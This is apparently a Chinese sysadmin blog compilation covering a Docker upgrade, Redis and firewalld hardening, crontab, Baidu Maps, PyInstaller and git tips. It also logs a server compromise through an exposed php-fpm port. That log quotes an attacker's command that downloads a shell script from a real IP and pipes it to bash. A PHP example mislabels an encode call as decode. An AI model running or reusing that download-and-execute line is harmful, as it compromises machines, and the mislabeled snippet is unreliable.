升级docker到最新版本

1、查找主机上关于Docker的软件包

rpm -qa | grep docker – – 列出包含docker字段的软件的信息

docker-1.13.1-208.git7d71120.el7_9.x86_64
docker-client-1.13.1-208.git7d71120.el7_9.x86_64
docker-common-1.13.1-208.git7d71120.el7_9.x86_64

2、备份镜像和容器

请参考 docker commit 和 docker save 命令

3、使用yum remove卸载软件

yum remove docker-1.13.1-208.git7d71120.el7_9.x86_64
yum remove docker-client-1.13.1-208.git7d71120.el7_9.x86_64
yum remove docker-common-1.13.1-208.git7d71120.el7_9.x86_64

4、升级到最新版

wget https://get.docker.com/
mv index.html install_docker.sh
chmod 755 install_docker.sh
./install_docker.sh

6、新增daemon.json文件

vi /etc/docker/daemon.json – – 写入以下内容

{“storage-driver”:”devicemapper”}

7、重载daemon

systemctl daemon-reload

8、重启Docker

systemctl restart docker

9、设置Docker开机自启

systemctl enable docker

10、查看Docker版本信息

docker version

redis 设置只有内网IP可以访问

设置只有内网IP可以访问
1、将redis.conf里的
bind 127.0.0.1 修改成本机本地IP
2、仅对特定IP开放该端口
firewall-cmd –permanent –add-rich-rule=’rule family=”ipv4″ source address=”IP” port protocol=”tcp” port=”端口” accept’
3、修改redis文件目录访问权限
redis根目录设置为 chmod 700 redis
redis.conf 设置为 chmod 600 redis
4、禁止root用户启动redis
useradd -s /sbin/nolog -M redissetsid sudo -u redis /usr/bin/redis-server /etc/redis.conf
5、修改配置文件中默认端口号
将redis.conf 中port 6379 修改为其他
6、开启redis密码认证并设置高复杂度密码
将redis.conf中requirepass+空格+密码
7、禁用或重命名危险命令
在redis.conf中添加rename-command CONFIG CONFIG_DASKADJAKDJAKDS
rename-command SHUTDOWN SHUTDOWN_dasadsdasdads
rename-command FLUSHDB “”
rename-command FLUSHALL “”
设置为空即为禁用该命令
————————————————
原文链接:https://blog.csdn.net/bquau/article/details/84978323

php-fpm将post数据原样返回的问题

  1. 问题描述:用postman发送请求,带raw数据,或者用juqery进行post数据提交,获取返回数据后,字符串前方会自动连上post的原始数据。
  2. 详细描述:nginx + (docker + php7) 环境,php文件中只有一行代码:“echo ‘ok’;”,使用jquery的ajax方式进行post请求,或者用 postman 的 raw 方式提交数据,提交的数据会被原样返回,比如 rwa 中的内容是 “abcd…”,则返回的数据是 “abc…ok”,重启php-fpm后,问题消失,隔一段时间以后,问题又出来了。
  3. 问题原因:不详
  4. 问题猜测:服务器有漏洞且已经被利用,以某种方式在 docker 或 php 或 nginx 的某一层对 request 和 response 数据进行了特殊处理,提取了 post 的 raw 数据,在response 的时候,进行了输出,
  5. 问题影响:由于部分页面的登录页用的是 jquery ajax 的 post 方式提交的用户名密码,因为返回的结果前带了用户名密码字符串,导致无法识别返回结果,登录无效果。
  6. 临时解决:写脚本定时重启 php-fpm
  7. 解决状态:未解决
  8. 2022-02-09 阿里云安全提示 /usr/lib/polkit-1/polkitd 程序有权限漏洞,已被利用执行了‘sh -c [ -f “/bin/bash” ] && (curl -s http://82.117.252.83/ph.sh||wget -q -O- http://82.117.252.83/ph.sh)|bash || (curl -s http://82.117.252.83/ph2.sh||wget -q -O- http://82.117.252.83/ph2.sh)|sh’,更新了polkit 后漏洞已解决。猜测跟本次问题有关。。。
  9. 重新设置了防火墙,只开放了几个必要的端口。问题还没解决。kill 了polkitd 程序,继续观察。
  10. 备份docker容器,升级docker到最新版本,依然没解决
  11. 出现这个问题的不止我一个:https://learnku.com/laravel/t/51759,里面没给出详细的解决办法,但是看讨论结果,好像是php-fpm监听的端口被暴露在公网从而漏洞被利用了。因为centos7 中 docker 使用-p命令的时候,会绕过 firewall 自己设置 iptable。(firewall-cmd –list-ports 中没有开启,但是 telnet ip:9000 能看出来端口处于开放状态)想找一个禁止外网访问 docker 的端口只允许宿主机访问 容器 接口的方法没有找到,但是纯 php-fpm 容器肯定是要暴露端口的,尝试了: /etc/docker/daemon.json 中 添加”iptable”:false , 结果宿主机没法访问到php-fpm了。思来想去,在 php-fpm 的容器里装个 nginx:apt-get install nginx , 容器只暴露80 和 443 端口,容器内部 nginx 转 php 的 9000 , 再隔一段时间观察下。
  12. 问题没有再出现,看来就是php-fpm端口暴露的问题。如果你也遇到这个问题,赶紧想办法屏蔽php-fpm的外网端口吧

CentOS7防火墙关闭开启及端口管理

一、开启关闭防火墙
1、查看防火墙状态

sudo systemctl status firewalld

firewall-cmd –state

2、开启防火墙

sudo systemctl start firewalld //马上生效,重启会恢复原来状态
sudo systemctl enable firewalld //重启生效,重启不会恢复原来状态

3、关闭防火墙

sudo systemctl stop firewalld //马上生效,重启会恢复原来状态
sudo systemctl disable firewalld //重启生效,重启不会恢复原来状态

4、重新加载防火墙配置

firewall-cmd –reload

二、防火墙端口管理

1、新增端口

firewall-cmd –zone=public –add-port=3838/tcp –permanent //打开tcp3838
firewall-cmd –zone=public –add-port=3838/udp –permanent //打开udp3838
firewall-cmd –reload //重新加载防火墙

【命令含义】

–zone #作用域

–add-port=3838/tcp #添加端口,格式为:端口/通讯协议

–permanent #永久生效,没有此参数重启后失效

-reload #重新加载。不中断用户连接,不丢失状态信息。

2、移除端口

*与新增端口关键字相反,把add改为remove即可。

3、查询指定端口是否开启防火墙

firewall-cmd –query-port=3939/tcp #查询tcp端口3939

4、查询哪些端口开放

firewall-cmd –list-port

5、为指定ip开放端口

firewall-cmd –permanent –add-rich-rule=’rule family=”ipv4″ source address=”192.168.0.2″ port protocol=”tcp” port=”6379″ accept’

原文链接:https://www.cnblogs.com/hopkings/p/12427570.html

阿里云升级php,编译报内存不足的另类解决办法

本人比较爱看“免费的”网文小说,但是这类小说的网页往往挂着很多外链广告,这些广告会遮挡文字 或是 让人不小心点击 或者 必须 点击后才能继续看。尤其是不适合出现在公共场合的广告。上下班路上通勤时长较长的情况下,那么多人挤在地铁上,没准别人无意扫了一眼你的手机屏幕,就看到了页面上不小心弹出的私密广告。即使你不在乎,但是想看个小说,每次点下一页的时候必须先点一下广告,也很烦人的。

为了解决这个烦人的问题,本人自己写了个爬虫,代码放到了自己的阿里云服务器上。由于小说还在连载中,需要每天都爬一遍,为了省事儿,就写了个 crontab 每天一爬。

之前爬取程序出了问题,为了调试,在本地环境中进行了代码调整。调完后,发布到线上发现程序执行失败了。经过一番检查发现是mysql链接问题。因为本地开发环境用的是php7.x 版本,而阿里云上用的还是php5.x。本地调试造成了版本php代码的版本兼容问题。

于是就想着升级下阿里云上的php版本。官网下载php8的源码,编译安装。make过程中有报错,按照提示更新了各种依赖后,出现了一个内存不足的bug。内存不足怎么解决?为了升级php,扩容阿里云配置?那不得多花钱吗。。。本身买阿里云只是为了学习以及测试用,买的是最低配最便宜的 ——大家都不富裕,生活都很简洁这点应该都能理解!

网上搜索有没有解决办法,还真有!说是使用虚拟内存能够解决,按照网上的教程创建了swap,结果make 一条以后直接停住不动了。 试了很多次还是不行!

扩展虚拟内存行不通,能不能用其他方式?

想到本地环境是用的docker-desktop,当年自学 docker 的时候也在阿里云上搭建过。就想能不能把本地的镜像直接方阿里云的docker里,然后阿里云上改用docker容器跑php7。

想到就干,将本地运行中的docker容器进行进行备份、归档,然后拉到云服务器上load。nginx配置中修改php的端口,将php项目文档的路径与容器路径进行对应挂载(第一次忘了挂载路径,造成php报找不到文件的错误:filed not found)。重启nginx后,打开 https://www.2pea.com/ 发现页面空白。

查找原因是因为 geoip 扩展没有安装。之前由于总是有国外ip请求服务器,为了屏蔽他们,专门安装了geoip进行ip过滤,如果是国外ip请求,直接返回“中国邢台欢迎您!”(这里吐槽下geoip库免费版的已经停止维护了,所以geoip屏蔽的可能并不准确)。这次从本地拿的php7镜像里面没有geoip扩展,造成相应函数不可用的错误。

安装了geoip扩展后,再打开 https://www.2pea.com/ ,发现还是不行!继续查,发现还有redis链接问题。为了安全,redis没有开通远程链接功能,从容器里访问云服务器上的redis服务访问不到。于是将redis加了密码,设置成可远程访问。 再打开 https://www.2pea.com/ ,啧,nice!

浏览器端调用百度地图API,但地图无显示

调用JavaScript API,地图无显示解决方案

在刚学百度地图——JavaScript API时,在细节上犯了许多错误。在此一并整理, 希望大家能少走弯路。
许多同学刚接触时,希望的结果是这样的:
null
但实际很可能是这样:
null
下面来总结一下可能是哪些原因呢?

1、未输入AK((Access Key)或类型错误

百度地图开发文档-JavaScript API
百度示例demo-地图展示
null
将ak替换成自己的密钥,注意自己使用的密钥类型,若在浏览器端显示,不要错误地使用了“服务端”、“微信小程序”等类型。

2、路径有误(url未添加http:或https:)
null
百度地图的示例自然可以调用成功;
如果切换到自己的HTML文件中,需要在src这里添加上http:或https:
null
否则就会出现地图调用失败——一片空白:
null

3、JavaScript文件——<script>放置不合理

很多人习惯于在<head>部分放一个<script>标签;
这种做法一般来讲是没有什么太大问题,但实际上:位于<head>块中的脚本会导致浏览器此时无法并行加载其他文件(如图像/其他脚本),也就是说它必须做完这件事,才可能去完成接下来的工作。如果在这一步卡住,那结果就显而易见了。
(不太推荐下图做法,密钥文件例外)

null

最好还是把<script>标签放在HTML文档的最后,</body>标签之前:
(放在</html>标签之后也没问题)
这样能使得浏览器更快地加载页面

(百度密钥的文件位置可保持不变,仍旧放在<head>内部;
但其必须是最前面的位置,在其他js文件之上,它是完成百度地图所有操作的基础)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    ...
    <script src="file.js"></script>
</body>
</html>

null
4、地图名称不一致

确保HTML文件里的名称与JavaScript里创建的地图实例一致
null
null

对第2点和第4点进行补充说明:
包含地图调用的js文件,第1行代码是:

var map = new BMap.Map("practice"); 

意思是查找id为practice的元素,在里面创建地图
而id为practice这个div元素是在<body>里面出现
如果把js代码放前面,则先执行语句,但因为没能获取该元素,所以地图显示失败)

5、被其他标签遮挡或隐藏(样式问题)
确保的以上四点都没问题,如果还是看不到地图,那就研究下载入地图的时候,自己是不是在外层又套上了新的<div>等标签,要确保外层标签没有 display:none; 或者 height:0px;

原文链接:https://blog.csdn.net/MRWu007/article/details/105527434/

crontab不能正常执行的五种原因

centos 安装crontab:

yum install crontabs

安装后不执行:
1 crond服务未启动

crontab不是Linux内核的功能,而是依赖一个crond服务,这个服务可以启动当然也可以停止。如果停止了就无法执行任何定时任务了,解决的方法是打开它:

crond

service crond start
2 权限问题

比如:脚本没有x执行权限,解决方法:

增加执行权限,或者用bash abc.sh的方法执行

3 路径问题

有的命令在shell中执行正常,但是在crontab执行却总是失败。有可能是因为crontab使用的sh未正确识别路径,比如:以root身份登录shell后执行一个/root/test.sh,只要执行

./test.sh

就可以了。但是在crontab中,就会找不到这个脚本,比如写完整:

/root/test.sh

4 时差问题

因为服务器与客户端时差问题,所以crontab的时间以服务器时间为准。

5 变量问题

有时候命令中含有变量,但crontab执行时却没有,也会造成执行失败。

6 莫名其妙的问题

我最近刚发现一种情况,crontab不执行,crontab -l可以看到计划列表,一切正常,但是就是不执行。

crontab -e后不做任何修改直接保存,提示:crontab: installing new crontab,然后计划任务恢复正常。

文章来源:https://www.yubosun.com/article/JMrAUVC5.html

Python PyInstaller安装和使用教程(详解版)

在创建了独立应用(自包含该应用的依赖包)之后,还可以使用 PyInstaller 将 Python 程序生成可直接运行的程序,这个程序就可以被分发到对应的 Windows 或 Mac OS X 平台上运行。

安装 PyInstalle

Python 默认并不包含 PyInstaller 模块,因此需要自行安装 PyInstaller 模块。

安装 PyInstaller 模块与安装其他 Python 模块一样,使用 pip 命令安装即可。在命令行输入如下命令:

pip install pyinstaller

强烈建议使用 pip 在线安装的方式来安装 PyInstaller 模块,不要使用离线包的方式来安装,因为 PyInstaller 模块还依赖其他模块,pip 在安装 PyInstaller 模块时会先安装它的依赖模块。

在 PyInstaller 模块安装成功之后,在 Python 的安装目录下的 Scripts(D:\Python\Python36\Scripts) 目录下会增加一个 pyinstaller.exe 程序,接下来就可以使用该工具将 Python 程序生成 EXE 程序了。

PyInstaller生成可执行程序

PyInstaller 工具的命令语法如下:

pyinstaller 选项 Python 源文件

不管这个 Python 应用是单文件的应用,还是多文件的应用,只要在使用 pyinstaller 命令时编译作为程序入口的 Python 程序即可。
PyInstaller工具是跨平台的,它既可以在 Windows平台上使用,也可以在 Mac OS X 平台上运行。在不同的平台上使用 PyInstaller 工具的方法是一样的,它们支持的选项也是一样的。

执行一下命令

pyinstaller -F test.py

将看到详细的生成过程。当生成完成后,将会在此 app 目录下看到多了一个 dist 目录,并在该目录下看到有一个 app.exe 文件,这就是使用 PyInstaller 工具生成的 EXE 程序。

原文地址:http://c.biancheng.net/view/2690.html

实体字符转码,unicode转码

htmlspecialchars($string, $flag) (Convert special characters to HTML entities 转换特殊字符为HTML实体)

echo htmlspecialchars_decode("'",ENT_QUOTES)  // 输出 &#039;

htmlspecialchars_decode($string, $flag) (与上面相反,将特殊的 HTML 实体转换回普通字符)

echo htmlspecialchars_decode("&#039;",ENT_QUOTES) // 输出 '

docker desktop使用文件映射后,git文件的换行符问题

宿主机 和 docker desktop 容器同时安装git,由于 windows 和 linux 文件的换行符不同(windows 是 CRLF linux 是 LF),每次 pull 修改后,在宿主机使用 git status 看到没有变动,在容器中 git status 看到的是每一行都有变动,是因为系统自动修改了换行符,虽然只用宿主机进行 git 操作不会有什么问题,但是偶尔用容器操作的时候还是感觉很变扭。

解决方法:

git config --global core.autocrlf true

让 git 忽略换行符,执行后,重新 git status ,立刻清爽了。。。